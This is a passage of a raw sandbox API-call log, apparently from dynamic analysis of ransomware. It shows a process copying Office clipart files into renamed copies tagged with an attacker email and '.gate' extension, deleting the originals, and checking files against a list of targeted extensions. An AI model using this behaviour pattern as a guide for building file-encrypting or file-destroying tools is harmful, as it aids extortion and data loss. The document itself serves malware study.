SetEndOfFile (hFile=0x4f0) returned 1 [0314.791] CloseHandle (hObject=0x4f0) returned 1 [0314.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0314.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0314.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0314.792] lstrlenW (lpString=".doc") returned 4 [0314.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0314.792] lstrlenW (lpString=".docx") returned 5 [0314.792] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0314.792] lstrlenW (lpString=".pdf") returned 4 [0314.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0314.792] lstrlenW (lpString=".xls") returned 4 [0314.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0314.792] lstrlenW (lpString=".xlsx") returned 5 [0314.792] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0314.792] lstrlenW (lpString=".ppt") returned 4 [0314.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0314.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0314.792] lstrlenW (lpString=".zip") returned 4 [0314.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0314.792] lstrlenW (lpString=".rar") returned 4 [0314.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0314.792] lstrlenW (lpString=".bz2") returned 4 [0314.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0314.792] lstrlenW (lpString=".7z") returned 3 [0314.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0314.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0314.793] lstrlenW (lpString=".dbf") returned 4 [0314.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0314.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0314.793] lstrlenW (lpString=".1cd") returned 4 [0314.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0314.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0314.793] lstrlenW (lpString=".jpg") returned 4 [0314.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0314.928] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=15145) returned 1 [0314.928] CloseHandle (hObject=0x448) returned 1 [0314.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0314.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0314.954] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.954] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0314.954] GetLastError () returned 0x0 [0314.954] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0315.033] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0315.034] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.034] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.034] SetEndOfFile (hFile=0x4f8) returned 1 [0315.034] CloseHandle (hObject=0x4f8) returned 1 [0315.035] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.035] SetEndOfFile (hFile=0x52c) returned 1 [0315.038] CloseHandle (hObject=0x52c) returned 1 [0315.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0315.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0315.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0315.157] lstrlenW (lpString=".doc") returned 4 [0315.157] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0315.158] lstrlenW (lpString=".docx") returned 5 [0315.158] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0315.158] lstrlenW (lpString=".pdf") returned 4 [0315.158] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0315.158] lstrlenW (lpString=".xls") returned 4 [0315.158] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0315.158] lstrlenW (lpString=".xlsx") returned 5 [0315.158] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0315.158] lstrlenW (lpString=".ppt") returned 4 [0315.158] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0315.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0315.158] lstrlenW (lpString=".zip") returned 4 [0315.158] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0315.158] lstrlenW (lpString=".rar") returned 4 [0315.158] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0315.158] lstrlenW (lpString=".bz2") returned 4 [0315.158] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0315.158] lstrlenW (lpString=".7z") returned 3 [0315.158] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0315.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0315.158] lstrlenW (lpString=".dbf") returned 4 [0315.158] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0315.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0315.158] lstrlenW (lpString=".1cd") returned 4 [0315.158] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0315.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0315.158] lstrlenW (lpString=".jpg") returned 4 [0315.158] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0315.176] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=50490) returned 1 [0315.176] CloseHandle (hObject=0x4c4) returned 1 [0315.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0315.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0315.177] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.177] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0315.177] GetLastError () returned 0x0 [0315.178] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xc53a, lpOverlapped=0x0) returned 1 [0315.541] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xc540, lpOverlapped=0x0) returned 1 [0315.543] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.543] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.543] SetEndOfFile (hFile=0x50c) returned 1 [0315.543] CloseHandle (hObject=0x50c) returned 1 [0315.543] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.543] SetEndOfFile (hFile=0x4c4) returned 1 [0315.556] CloseHandle (hObject=0x4c4) returned 1 [0315.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0315.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0315.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0315.565] lstrlenW (lpString=".doc") returned 4 [0315.565] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0315.565] lstrlenW (lpString=".docx") returned 5 [0315.565] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0315.565] lstrlenW (lpString=".pdf") returned 4 [0315.565] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0315.565] lstrlenW (lpString=".xls") returned 4 [0315.565] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0315.565] lstrlenW (lpString=".xlsx") returned 5 [0315.565] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0315.565] lstrlenW (lpString=".ppt") returned 4 [0315.565] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0315.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0315.565] lstrlenW (lpString=".zip") returned 4 [0315.565] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0315.565] lstrlenW (lpString=".rar") returned 4 [0315.565] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0315.565] lstrlenW (lpString=".bz2") returned 4 [0315.565] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0315.565] lstrlenW (lpString=".7z") returned 3 [0315.565] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0315.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0315.565] lstrlenW (lpString=".dbf") returned 4 [0315.565] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0315.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0315.565] lstrlenW (lpString=".1cd") returned 4 [0315.565] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0315.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0315.565] lstrlenW (lpString=".jpg") returned 4 [0315.565] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0315.581] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10192) returned 1 [0315.581] CloseHandle (hObject=0x4f8) returned 1 [0315.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0315.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0315.620] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.620] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.620] GetLastError () returned 0x0 [0315.621] ReadFile (in: hFile=0x404, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x27d0, lpOverlapped=0x0) returned 1 [0315.753] WriteFile (in: hFile=0x448, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0315.753] ReadFile (in: hFile=0x404, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.754] WriteFile (in: hFile=0x448, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.754] SetEndOfFile (hFile=0x448) returned 1 [0315.754] CloseHandle (hObject=0x448) returned 1 [0315.754] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.754] SetEndOfFile (hFile=0x404) returned 1 [0315.756] CloseHandle (hObject=0x404) returned 1 [0315.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0315.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0315.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0315.757] lstrlenW (lpString=".doc") returned 4 [0315.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.757] lstrlenW (lpString=".docx") returned 5 [0315.757] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0315.757] lstrlenW (lpString=".pdf") returned 4 [0315.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.757] lstrlenW (lpString=".xls") returned 4 [0315.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.757] lstrlenW (lpString=".xlsx") returned 5 [0315.757] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0315.757] lstrlenW (lpString=".ppt") returned 4 [0315.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0315.757] lstrlenW (lpString=".zip") returned 4 [0315.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.757] lstrlenW (lpString=".rar") returned 4 [0315.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.757] lstrlenW (lpString=".bz2") returned 4 [0315.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.757] lstrlenW (lpString=".7z") returned 3 [0315.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0315.757] lstrlenW (lpString=".dbf") returned 4 [0315.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0315.758] lstrlenW (lpString=".1cd") returned 4 [0315.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0315.758] lstrlenW (lpString=".jpg") returned 4 [0315.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.764] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9744) returned 1 [0315.765] CloseHandle (hObject=0x4f0) returned 1 [0315.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0315.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0315.765] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.765] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0315.766] GetLastError () returned 0x0 [0315.766] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2610, lpOverlapped=0x0) returned 1 [0315.864] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2620, lpOverlapped=0x0) returned 1 [0315.865] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.865] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0315.865] SetEndOfFile (hFile=0x4f8) returned 1 [0315.865] CloseHandle (hObject=0x4f8) returned 1 [0315.865] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.866] SetEndOfFile (hFile=0x4f0) returned 1 [0315.868] CloseHandle (hObject=0x4f0) returned 1 [0315.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0315.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0315.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0315.872] lstrlenW (lpString=".doc") returned 4 [0315.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.872] lstrlenW (lpString=".docx") returned 5 [0315.872] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0315.872] lstrlenW (lpString=".pdf") returned 4 [0315.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.872] lstrlenW (lpString=".xls") returned 4 [0315.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.872] lstrlenW (lpString=".xlsx") returned 5 [0315.872] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0315.872] lstrlenW (lpString=".ppt") returned 4 [0315.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0315.872] lstrlenW (lpString=".zip") returned 4 [0315.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.872] lstrlenW (lpString=".rar") returned 4 [0315.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.872] lstrlenW (lpString=".bz2") returned 4 [0315.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.873] lstrlenW (lpString=".7z") returned 3 [0315.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0315.873] lstrlenW (lpString=".dbf") returned 4 [0315.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0315.873] lstrlenW (lpString=".1cd") returned 4 [0315.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0315.873] lstrlenW (lpString=".jpg") returned 4 [0315.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.873] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3606) returned 1 [0315.873] CloseHandle 